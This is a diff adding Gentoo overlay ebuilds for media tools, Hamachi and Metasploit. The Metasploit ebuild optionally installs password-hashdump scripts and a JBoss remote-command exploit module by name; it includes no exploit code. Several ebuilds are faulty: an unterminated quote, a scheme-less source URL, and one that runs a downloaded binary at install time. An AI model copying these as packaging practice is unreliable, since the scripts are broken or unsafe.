Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: Exp $ + +# svn checkout http://tovid.googlecode.com/svn/trunk/tovid tovid-${PV} +# note: see quickrelease file in the top source directory + +EAPI=3 + +PYTHON_DEPEND="2:2.7" +SUPPORT_PYTHON_ABIS="1" +RESTRICT_PYTHON_ABIS="3.*" + +inherit distutils gnome2-utils + +DESCRIPTION="A collection of DVD authoring tools" +HOMEPAGE="http://tovid.wikia.com/wiki/Tovid_Wiki" +SRC_URI="http://dev.gentoo.org/~ssuominen/${P}.tar.gz" +#SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND="app-cdr/cdrdao + app-cdr/dvd+rw-tools + || ( =dev-lang/python-tk-2.7* =dev-lang/python-tk-2.6* ) + dev-python/pycairo + dev-python/imaging + dev-tcltk/tix + || ( media-gfx/imagemagick[png] media-gfx/graphicsmagick[imagemagick,png] ) + media-sound/normalize + >=media-sound/sox-14.3.2 + media-video/dvdauthor + >=media-video/mjpegtools-2.0.0 + >=media-video/mplayer-1.0_rc4_p20110101 + >=media-video/transcode-1.1.5 + media-video/vcdimager + sys-devel/bc + virtual/ffmpeg" +DEPEND="app-text/txt2tags" + +DOCS="AUTHORS ChangeLog README" + +src_install() { + distutils_src_install + + # punt at least .install.log + find "${ED}" -name '*.log' -exec rm -f {} + +} + +pkg_preinst() { + gnome2_icon_savelist +} + +pkg_postinst() { + distutils_pkg_postinst + gnome2_icon_cache_update +} + +pkg_postrm() { + distutils_pkg_postrm + gnome2_icon_cache_update +} diff --git a/media-video/tv-maxe/Manifest b/media-video/tv-maxe/Manifest new file mode 100644 index 00000000..df2b5e0e --- /dev/null +++ b/media-video/tv-maxe/Manifest @@ -0,0 +1,2 @@ +DIST tv-maxe-0.08.tar.gz 1175803 SHA256 ba2dbef7e69a63e55367c42f7479d8ec19a31703b34f403823036395c8a348c7 SHA512 d20ed7f8740d09c45f9bdaa34c77a07ebdd20f4332ab3bb584db9b70384ad2a59834a8ea0b3ebbd3ca850c05cb0c485db513e401b06901852d57206088cbafb9 WHIRLPOOL 616a6de75e4642bf10b5c2f6f33e35dd2bc333e626bfe28461bffac16ab6ddfff1ccc5e03d621e4650fad57dc762d7d3415a26ff1c270f534d33963bf9fbf250 +DIST tv-maxe-0.09.tar.gz 2157775 SHA256 3f580f0801cc2326ed1c367917bea9d1d9d68d86384d85380fda4d3adf391210 SHA512 516feaf829758626d643791c7ab84093ce717c42e9af5d46c5ab0adf032c5c56ccb164bcf5c93d9e89a8fc4de8b4c2f32ea07283c38865c3d71adb291b339d19 WHIRLPOOL e92413d3d0f976683f97c7392f5eda548207eac90868c029a2b07f027c5139a9244cead8891f0f50688bc79314b965a3b9637a7f37b90d2cafade0d0daa0b249 diff --git a/media-video/tv-maxe/tv-maxe-0.08.ebuild b/media-video/tv-maxe/tv-maxe-0.08.ebuild new file mode 100644 index 00000000..07b764d9 --- /dev/null +++ b/media-video/tv-maxe/tv-maxe-0.08.ebuild @@ -0,0 +1,49 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit eutils + +DESCRIPTION="Program to view free channels" +HOMEPAGE="http://code.google.com/p/tv-maxe" +SRC_URI="http://tv-maxe.googlecode.com/files/${PN}-${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +RDEPEND="dev-python/imaging + media-video/mplayer + media-video/vlc + virtual/ffmpeg + dev-python/python-virtkey + dev-python/pygtk + dev-lang/python + media-tv/sopcast-player + media-video/rtmpdump + dev-python/sqlite3dbm + dev-python/gst-python + media-libs/gst-plugins-good + media-plugins/gst-plugins-meta" +DEPEND="" + +S="${WORKDIR}" + +src_prepare() { + sed -i "s|python|python2|g" ${S}/${PN}-${PV}/${PN} || die "Cannot sed file" +} + +src_install() { + cd "${S}" + dodir /usr/share/${PN} || die + insinto /usr/share/${PN} || die + doins -r "${S}"/${PN}-${PV}/* || die + fperms 755 /usr/share/${PN}/${PN} || die "Errors on permission giving" + fperms 755 /usr/share/${PN} || die "Errors on permission folder giving" + dosym /usr/share/${PN}/${PN} /usr/bin/${PN} || die "Not too many symbolic links" + make_desktop_entry tv-maxe TV-maxe \ + "/usr/share/tv-maxe/tvmaxe_mini.png" \ + Video +} diff --git a/media-video/tv-maxe/tv-maxe-0.09.ebuild b/media-video/tv-maxe/tv-maxe-0.09.ebuild new file mode 100644 index 00000000..08265748 --- /dev/null +++ b/media-video/tv-maxe/tv-maxe-0.09.ebuild @@ -0,0 +1,50 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit eutils + +DESCRIPTION="Program to view free channels" +HOMEPAGE="http://code.google.com/p/tv-maxe" +SRC_URI="http://tv-maxe.googlecode.com/files/${PN}-${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="sqlite" + +RDEPEND="dev-python/imaging + media-video/mplayer2 + media-video/vlc + virtual/ffmpeg + dev-python/python-virtkey + dev-python/pygtk + dev-lang/python[sqlite] + media-tv/sp-auth + media-video/rtmpdump + sqlite? ( dev-python/sqlite3dbm ) + dev-python/gst-python + media-libs/gst-plugins-good + media-plugins/gst-plugins-meta" +DEPEND="" + +S="${WORKDIR}" + +src_prepare() { + sed -i "s|python|python2|g" ${S}/${PN}-${PV}/${PN} || die "Cannot sed file" +} + +src_install() { + cd "${S}" + dodir /usr/share/${PN} || die + insinto /usr/share/${PN} || die + doins -r "${S}"/${PN}-${PV}/* || die + fperms 755 /usr/share/${PN}/${PN} || die "Errors on permission giving" + fperms 755 /usr/share/${PN} || die "Errors on permission folder giving" + dosym /usr/share/${PN}/${PN} /usr/bin/${PN} || die "Not too many symbolic links" + make_desktop_entry tv-maxe TV-maxe \ + "/usr/share/tv-maxe/tvmaxe_mini.png" \ + Video +} diff --git a/media-video/tvmaxe-cli/Manifest b/media-video/tvmaxe-cli/Manifest new file mode 100644 index 00000000..d3144547 --- /dev/null +++ b/media-video/tvmaxe-cli/Manifest @@ -0,0 +1,2 @@ +DIST tvmaxe-cli-20120906.tar.gz 3927 RMD160 080df7d83a82d4b8c33386be748172c50153eb32 SHA1 ef73607a77353ec643970d4ea9a4eb6a63ae5846 SHA256 fd4be269b79855065f22ddf29e5bc59332dad95461c8f7c88d1ffaa3effe9f6f +EBUILD tvmaxe-cli-20120906.ebuild 705 RMD160 f71c0beb06e2b83f924ecc3e3a0fc4a38bcee8fc SHA1 37b8137b5d06ae1ffdcfb5dc6f0e132d87c32777 SHA256 351e0e5eac184a1a2fb09c2a6f04543f34cdcb65a36d9458bb123d44ba10ebf4 diff --git a/media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild b/media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild new file mode 100644 index 00000000..18a2ccfd --- /dev/null +++ b/media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild @@ -0,0 +1,27 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +DESCRIPTION="CLI version of tv-maxe" +HOMEPAGE="http://nknwn.github.com/tvmaxe-cli/" +SRC_URI="dl.dropbox.com/u/5635113/tvmaxe-cli-20120906.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +RDEPEND="media-video/mplayer + net-p2p/sopcast-bin" +DEPEND="" + +S="${WORKDIR}" + +src_install() { + cd "${S}" + dodir /usr/bin/${PN} || die "Error. Could not create directory." + insinto /usr/bin/${PN} || die "Error. Could not set install path." + doins -r "${S}"/${PN}-${PV}/* || die " Error. Could not install." + fperms 755 /usr/bin/${PN}/${PN} || die "Error. Permissions not set." +} diff --git a/media-video/webcamstudio-module/Manifest b/media-video/webcamstudio-module/Manifest new file mode 100644 index 00000000..9354bb02 --- /dev/null +++ b/media-video/webcamstudio-module/Manifest @@ -0,0 +1 @@ +EBUILD webcamstudio-module-1.4-r2.ebuild 1141 RMD160 7ba8459d8493a997a4eaaca30fac9d17ae8a95fa SHA1 3eba5853d6bb1ebea9224f1174e001a34d27647d SHA256 9d9fd997339705f3fdb50e3ef6c4caecf20da9aba8d701fc388df09696b50a71 diff --git a/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild new file mode 100644 index 00000000..4f162f16 --- /dev/null +++ b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild @@ -0,0 +1,51 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils linux-mod subversion + +DESCRIPTION="Kernel module for WebcamStudio." +HOMEPAGE="http://www.ws4gl.org/" +ESVN_REPO_URI="https://webcamstudio.svn.sourceforge.net/svnroot/webcamstudio/trunk/vloopback@891" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="" + +DEPEND="virtual/linux-sources" + +MODULE_NAMES="webcamstudio(misc:${S})" +CONFIG_CHECK="VIDEO_DEV" + + +pkg_setup() { + linux-mod_pkg_setup + + rm -f "${S}"/Makefile || die + + BUILD_PARAMS="-C ${KV_DIR} SUBDIRS=${S} KERNEL_DIR=${KV_DIR}" + BUILD_TARGETS="modules" + MODULESD_WEBCAMSTUDIO_ENABLED="yes" +} + +src_prepare() { + epatch "${FILESDIR}/${PN}-1.4-semaphore-fix.patch" +} + +pkg_postinst() { + linux-mod_pkg_postinst + + elog "To use WebcamStudio you need to have the \"webcamstudio\" module" + elog "loaded first." + elog "" + elog "If you want to do it automatically, please add \"webcamstudio\" to:" + if has_version sys-apps/openrc; then + elog "/etc/conf.d/modules" + else + elog "/etc/modules.autoload.d/kernel-${KV_MAJOR}.${KV_MINOR}" + fi + elog "" +} diff --git a/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save new file mode 100644 index 00000000..42b505b4 --- /dev/null +++ b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save @@ -0,0 +1,52 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils linux-mod subversion + +DESCRIPTION="Kernel module for WebcamStudio." +HOMEPAGE="http://www.ws4gl.org/" +ESVN_REPO_URI="https://webcamstudio.svn.sourceforge.net/svnroot/webcamstudio/trunk/vloopback@891" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="" + +RDEPEND=" +DEPEND="virtual/linux-sources" + +MODULE_NAMES="webcamstudio(misc:${S})" +CONFIG_CHECK="VIDEO_DEV" + + +pkg_setup() { + linux-mod_pkg_setup + + rm -f "${S}"/Makefile || die + + BUILD_PARAMS="-C ${KV_DIR} SUBDIRS=${S} KERNEL_DIR=${KV_DIR}" + BUILD_TARGETS="modules" + MODULESD_WEBCAMSTUDIO_ENABLED="yes" +} + +src_prepare() { + epatch "${FILESDIR}/${PN}-1.4-semaphore-fix.patch" +} + +pkg_postinst() { + linux-mod_pkg_postinst + + elog "To use WebcamStudio you need to have the \"webcamstudio\" module" + elog "loaded first." + elog "" + elog "If you want to do it automatically, please add \"webcamstudio\" to:" + if has_version sys-apps/openrc; then + elog "/etc/conf.d/modules" + else + elog "/etc/modules.autoload.d/kernel-${KV_MAJOR}.${KV_MINOR}" + fi + elog "" +} diff --git a/metadata/layout.conf b/metadata/layout.conf new file mode 100644 index 00000000..ca9fee10 --- /dev/null +++ b/metadata/layout.conf @@ -0,0 +1,2 @@ +masters = gentoo +thin-manifests = true diff --git a/net-analyzer/g-wan/g-wan-2012.ebuild b/net-analyzer/g-wan/g-wan-2012.ebuild new file mode 100644 index 00000000..bfc4fdbc --- /dev/null +++ b/net-analyzer/g-wan/g-wan-2012.ebuild @@ -0,0 +1,31 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit unpacker multilib versionator eutils + +MY_G="gwan" + +DESCRIPTION="G-Wan Analyzer" +HOMEPAGE="http://g-wan.ch/" +SRC_URI="http://${MY_G}.ch/archives/gwan_linux64-bit.tar.bz2 + http://${MY_G}.ch/archives/gwan_linux32-bit.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RDEPEND="x11-libs/pango + amd64? ( + app-emulation/emul-linux-x86-gtklibs + app-emulation/emul-linux-x86-baselibs )" +DEPEND="" + +S="${WORKDIR}" + +src_install() { + cd "${S}" || die + sh ./gwan || die +} diff --git a/net-analyzer/metasploit/Manifest b/net-analyzer/metasploit/Manifest new file mode 100644 index 00000000..567c4a21 --- /dev/null +++ b/net-analyzer/metasploit/Manifest @@ -0,0 +1,8 @@ +AUX armitage.yml 481 RMD160 d2f742ce1660a4ad43859b2ff6468d33716c2c74 SHA1 731283171a27cb2f4617c73df4ce0da6dcd3aef7 SHA256 2db3df7b05f28aa5ba6d6dedc32d8d1a2e24e020d6fd8aea15b2e76ed0f6ab46 +AUX hashdump2_script_6ac6c1d.rb 11382 RMD160 faabc47a80ae4a76f42a6364c08c38b961506555 SHA1 65a2db4982f240767b7e69b694cd900c8f908fa5 SHA256 2535f9d3bac1f559b4e5d827e5847b08fe0477bbcb8585960ad45ff15ab30c63 +AUX msfrpcd.confd 443 RMD160 03cafbafba9af1f6a4e70810942f11b7086dc98f SHA1 fb4c3aab4b1e38ddeaeafe69b1e72ce81fba3505 SHA256 8d29b5975f1c91ecd6ec552b04e8fc82e0a6fe2c782d6b214544d9a01f73eeb3 +AUX msfrpcd.initd 622 RMD160 d5923c49a9a7a4e6010c2b2e8927d13dfee8e9ef SHA1 9c664a4f8b6df69ec859e5bdcd71908b8f43856d SHA256 d6b7f865ccd3d7795e65886e2e46ce023aa56b519c12a9f41616ff21988579c9 +AUX smart_hasdump_script_6ac6c1d.rb 15510 RMD160 3ff084bf3b86df1fa37499b004ca040161b324b8 SHA1 3795c23ae5160fdc13ba1d9c7f05e3893ff6f4e9 SHA256 66dec160dd9cc2fee2f8de11bf433f40baa1f41734ecf62aca9a32e0ca8a438f +DIST jboss_seam_remote_command_rb 3412 RMD160 c577b1bd75943f2ddceea3161bc1037dd0150c2f SHA1 b858c726d3ee26317726635373d5db3b7eeb774d SHA256 c87f1cc1b82ed105c7bf551db7e3bad0a787244c4cdd124015a3ff24cedd23df +DIST vbsmem-1.2.1.patch 69002 RMD160 281461151b0d1e453ee613326f4457eebaddebaa SHA1 883a582552e00102be452a2a0105b9e016b3dccc SHA256 7991a5629c562817919c9bb1c8f0a3bdcd1c63cf9b9f32f322d1d266416589d2 +EBUILD metasploit-9999.ebuild 8526 RMD160 8e948baaaa24e5a0a30ad0258b2b28ae92e59759 SHA1 5893516f12bcd0a892f126d83f2ef0ae2b6d29bf SHA256 d5d7e803319d24c13f9e1ac602c3ca813f689d162a0c654f54c43d93cb371b91 diff --git a/net-analyzer/metasploit/metasploit-9999.ebuild b/net-analyzer/metasploit/metasploit-9999.ebuild new file mode 100644 index 00000000..4310c435 --- /dev/null +++ b/net-analyzer/metasploit/metasploit-9999.ebuild @@ -0,0 +1,215 @@ +# Copyright 1998-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-3.1_p5699-r1.ebuild,v 1.3 2008/11/09 14:52:13 nixnut Exp $ + +EAPI="4" +inherit eutils subversion + +MY_P=${PN/metasploit/framework}-${PV} + +MTSLPT_REV=${BASH_REMATCH[2]} +ESVN_REPO_URI="https://metasploit.com/svn/framework3/trunk" + +SRC_URI="https://dev.metasploit.com/redmine/attachments/download/906/vbsmem-1.2.1.patch + https://dev.metasploit.com/redmine/attachments/1200/jboss_seam_remote_command_rb" + +DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code" +HOMEPAGE="http://www.metasploit.org/" +SLOT="9999" +LICENSE="BSD" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+armitage +kissfft unstable lorcon lorcon2 +pcaprub +postgres serialport" + +REQUIRED_USE="armitage? ( postgres )" + +# Note we use bundled gems (see data/msfweb/vendor/rails/) as upstream voted for +# such solution, bug #247787 +RDEPEND="dev-lang/ruby + dev-ruby/rubygems + >=app-crypt/johntheripper-1.7.9-r1[-minimal] + !arm? ( dev-ruby/hpricot + virtual/jdk + dev-ruby/rjb + dev-ruby/msgpack ) + postgres? ( dev-db/postgresql-server + !arm? ( dev-ruby/pg + dev-ruby/activerecord[postgres] ) ) + pcaprub? ( net-libs/libpcap ) + armitage? ( net-analyzer/nmap ) + lorcon? ( net-wireless/lorcon-old ) + lorcon2? ( net-wireless/lorcon )" +DEPEND="" + +RESTRICT="strip" + +QA_EXECSTACK=" + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin" +QA_WX_LOAD=" + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_*_linux.bin" +QA_PREBUILT=" + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso" + +S=${WORKDIR}/${MY_P} + +src_compile() { + if use pcaprub; then + cd "${S}"/external/pcaprub + ruby extconf.rb + emake + fi + if use kissfft; then + cd "${S}"/external/ruby-kissfft + ruby extconf.rb + emake + fi + if use lorcon; then + cd "${S}"/external/ruby-lorcon + ruby extconf.rb + emake + fi + if use lorcon2; then + cd "${S}"/external/ruby-lorcon2 + ruby extconf.rb + emake + fi + if use serialport; then + cd "${S}"/external/serialport + ruby extconf.rb + emake + fi +} + +src_install() { + # should be as simple as copying everything into the target... + dodir /usr/$(get_libdir)/${PN}${SLOT} + cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed" + rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README || die + fowners -R root:0 / + + # do not remove LICENSE, bug #238137 + dodir /usr/share/doc/${PF} + cp -R "${S}"/{documentation,README} "${ED}"/usr/share/doc/${PF} || die + dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation + + + dodir /usr/bin/ + for file in msf*; do + dosym /usr/$(get_libdir)/${PN}${SLOT}/${file} /usr/bin/${file} + done + + newinitd "${FILESDIR}"/msfrpcd.initd msfrpcd${SLOT} + newconfd "${FILESDIR}"/msfrpcd.confd msfrpcd${SLOT} + + # Avoid useless revdep-rebuild trigger #377617 + dodir /etc/revdep-rebuild/ + echo "SEARCH_DIRS_MASK=\"/usr/lib*/${PN}${SLOT}/data/john\"" > \ + "${ED}"/etc/revdep-rebuild/70-${PN}${SLOT} + + if use armitage; then + echo -e "#!/bin/sh \n\nexport MSF_DATABASE_CONFIG=/usr/$(get_libdir)/${PN}${SLOT}/armitage.yml\n" > armitage + echo -e "java -Xmx256m -jar /usr/$(get_libdir)/${PN}${SLOT}/data/armitage/armitage.jar \$* &\n" >> armitage + dobin armitage + insinto /usr/$(get_libdir)/${PN}${SLOT}/ + doins "${FILESDIR}"/armitage.yml + fi + + #Add new modules from metasploit bug report system not in the main tree yet + if use unstable; then + + #smart hasdump from http://www.darkoperator.com/blog/2011/5/19/metasploit-post-module-smart_hashdump.html + #https://github.com/darkoperator/Meterpreter-Scripts + cp "${FILESDIR}"/smart_hasdump_script_6ac6c1d.rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/scripts/meterpreter/smart_hasdump.rb || die "Copy files failed" + cp "${FILESDIR}"/hashdump2_script_6ac6c1d.rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/scripts/meterpreter/hashdump2.rb || die "Copy files failed" + + #Slow HTTP POST Denial Of Service + #https://dev.metasploit.com/redmine/issues/3638 + + #EAP-MD5 offline dictionary attack + #https://dev.metasploit.com/redmine/issues/4439 + + #JBoss remote command execution exploit + #https://dev.metasploit.com/redmine/issues/4585 + cp "${DISTDIR}"/jboss_seam_remote_command_rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/modules/exploits/multi/http/jboss_seam_remote_command.rb || die "Copy files failed" + + fi + #fi unstable + + if use pcaprub; then + cd "${S}"/external/pcaprub + emake DESTDIR="${ED}" install + fi + if use lorcon; then + cd "${S}"/external/ruby-lorcon + emake DESTDIR="${ED}" install + fi + if use lorcon2; then + cd "${S}"/external/ruby-lorcon2 + emake DESTDIR="${ED}" install + fi + if use kissfft; then + cd "${S}"/external/ruby-kissfft + emake DESTDIR="${ED}" install + fi + if use serialport; then + cd "${S}"/external/serialport + emake DESTDIR="${ED}" install + fi + + #unbundle johntheripper, it makes me sick to have to do this... + rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/data/john/run.* + dodir /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any + for i in $(ls -1 ${ROOT}/etc/john) + do + dosym /etc/john/${i} /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/${i} + done + dosym /usr/sbin/unique /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unique + dosym /usr/sbin/john /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john + dosym /usr/sbin/unafs /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unafs + dosym /usr/sbin/genmkvpwd /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/genmkvpwd + dosym /usr/sbin/john-mailer /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john-mailer + dosym /usr/sbin/undrop /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/undrop + dosym /usr/sbin/unshadow /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unshadow + dosym /usr/sbin/tgtsnarf /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/tgtsnarf + dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x64.mmx + dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.mmx + dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.sse2 + + #while we are commiting fixes for filth, let's bogart msfupdate + echo "#!/bin/sh" > "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate + echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate + echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate + echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate + echo "echo \"\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate + echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate +} +pkg_postinst() { + if use postgres; then + elog "You need to prepare the database as described on the following page:" + use postgres && elog "https://community.rapid7.com/docs/DOC-1268" + elog + fi + + elog "If you wish to update ${PN}${SLOT} manually simply run:" + elog + elog "ESVN_REVISION= emerge =${PF}" + elog + elog "where is either HEAD (in case you wish to get all updates)" + elog "or specific revision number. But NOTE, this update will vanish" + elog "next time you reemerge ${PN}${SLOT}. To make update permanent either" + elog "create ebuild with specific revision number inside your overlay" + elog "or report revision bump bug at http://bugs.gentoo.org ." + elog + elog "In case you use portage it's also possible to create" + elog "/etc/portage/env/${CATEGORY}/${PN}${SLOT} file with ESVN_REVISION=" + elog "content. Then each time you run emerge ${PN}${SLOT} you'll have said" + elog " installed. For example, if you run" + elog " # mkdir -p /etc/portage/env/${CATEGORY}" + elog " # echo ESVN_REVISION=HEAD >> /etc/portage/env/${CATEGORY}/${PN}${SLOT}" + elog "each time you reemerge ${PN}${SLOT} it'll be updated to get all possible" + elog "updates for framework-${PV%_p*} branch." + elog "You can do similar things in paludis using /etc/paludis/bashrc." + elog + elog "Adjust /usr/$(get_libdir)/${PN}${SLOT}/armitage.yml and /etc/conf.d/msfrpcd${PV} files if necessary" +} diff --git a/net-misc/hamachi-gui/Manifest b/net-misc/hamachi-gui/Manifest new file mode 100644 index 00000000..20071729 --- /dev/null +++ b/net-misc/hamachi-gui/Manifest @@ -0,0 +1,2 @@ +DIST hamachi-gui_0.9.6.tar.gz 248476 RMD160 902d88cc0aa83fae7eea0d80c4b6314a076dcedd SHA1 3c7fdec3d26d91731deb9b8b632a35a15dc11b20 SHA256 8a66a4d6f68c32e043878def90f0533968cc564357e23edfb9c20718e32dd0c2 +EBUILD hamachi-gui-0.9.6.ebuild 830 RMD160 c3a99680388c0b94ccade1d74a975651c3096d5d SHA1 687fca95be69535fa3e4fa8095d671f6341cfbf1 SHA256 aa525261b2110f638a7b0f33d9b7c1dbe8a0ede71a4f084e4532eb853ce4c7a6 diff --git a/net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild b/net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild new file mode 100644 index 00000000..313246e4 --- /dev/null +++ b/net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild @@ -0,0 +1,41 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +DESCRIPTION="Hamachi-GUI is a free, fully functional GTK-interface for hamachi" +HOMEPAGE="http://hamachi-gui.sourceforge.net/" +MY_P="${PN}_${PV}" +SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz" +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +LANGS="bg de es fr it no pl sk sv" + +for X in ${LANGS} ; do + IUSE="${IUSE} linguas_${X}" +done + + +DEPEND="net-misc/hamachi + x11-libs/gtk+" +RDEPEND="${DEPEND}" + +src_compile() { + econf + emake || die "emake failed" +} + +src_install() { +emake DESTDIR="${D}" install + +for x in `ls ${D}/usr/share/locale/` ; do + USELANG="" + for y in ${LINGUAS} ; do + [[ ${x} == ${y} ]] && USELANG="yes" + done + + [[ ${USELANG} != "yes" ]] && rm -r ${D}/usr/share/locale/${x} +done +} diff --git a/net-misc/logmein-hamachi/ChangeLog b/net-misc/logmein-hamachi/ChangeLog new file mode 100644 index 00000000..b2233e8b --- /dev/null +++ b/net-misc/logmein-hamachi/ChangeLog @@ -0,0 +1,49 @@ +# ChangeLog for net-misc/logmein-hamachi +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/ChangeLog,v 1.7 2012/10/03 21:11:40 hwoarang Exp $ + +*logmein-hamachi-2.1.0.76 (03 Oct 2012) + + 03 Oct 2012; Markos Chandras + +logmein-hamachi-2.1.0.76.ebuild, metadata.xml: + Version bump. Thanks to Simone Scanzoni + +*logmein-hamachi-2.1.0.68-r1 (17 Aug 2012) + + 17 Aug 2012; Aaron W. Swenson + +logmein-hamachi-2.1.0.68-r1.ebuild: + Fixes bug 430234. Per Simone Scanzoni. + +*logmein-hamachi-2.1.0.68 (29 Jun 2012) + + 29 Jun 2012; Maxim Koltsov + +logmein-hamachi-2.1.0.68.ebuild, metadata.xml: + Bump to 2.1.0.68, thanks to Simone Scanzoni. Clean up metadata + + 24 Aug 2011; Markos Chandras metadata.xml: + Assign package to proxy-maintainers team + +*logmein-hamachi-2.1.0.17 (24 Aug 2011) + + 24 Aug 2011; Markos Chandras + -logmein-hamachi-2.0.1.13.ebuild, -logmein-hamachi-2.0.1.15.ebuild, + +logmein-hamachi-2.1.0.17.ebuild, files/logmein-hamachi.initd: + Version bump. Bug #378969. Thanks to Simone Scanzoni + for the new initd file + +*logmein-hamachi-2.0.1.15 (13 Jun 2011) + + 13 Jun 2011; Markos Chandras + +logmein-hamachi-2.0.1.15.ebuild: + Version bump thanks to Simone Scanzoni + +*logmein-hamachi-2.0.1.13 (15 Jan 2011) + + 15 Jan 2011; Markos Chandras + +logmein-hamachi-2.0.1.13.ebuild, +files/logmein-hamachi.confd, + +files/logmein-hamachi.initd, +metadata.xml: + Initial commit of new hamachi client. Bug #350172. The original hamachi + client has been renamed to logmein-hamachi which is more a replacement rather + than a new version. Thanks to Simone Scanzoni for + the ebuilds and scripts. He will proxy maintain it. The old client will be + removed in 30 days diff --git a/net-misc/logmein-hamachi/Manifest b/net-misc/logmein-hamachi/Manifest new file mode 100644 index 00000000..b79a5074 --- /dev/null +++ b/net-misc/logmein-hamachi/Manifest @@ -0,0 +1,15 @@ +AUX logmein-hamachi.confd 541 SHA256 661be1f7ca7ce360933ab275a9f0a43961c00940534c1c156a985fe346bcb058 SHA512 8d28891af13b597d9a29dcdc3a92e3c933e6cd3c122d720f6ec140619fbf26e2a2c4d3c729ed0499fc844e7b4480149dae76268bfe024b88f7c2e44b39e5ac14 WHIRLPOOL 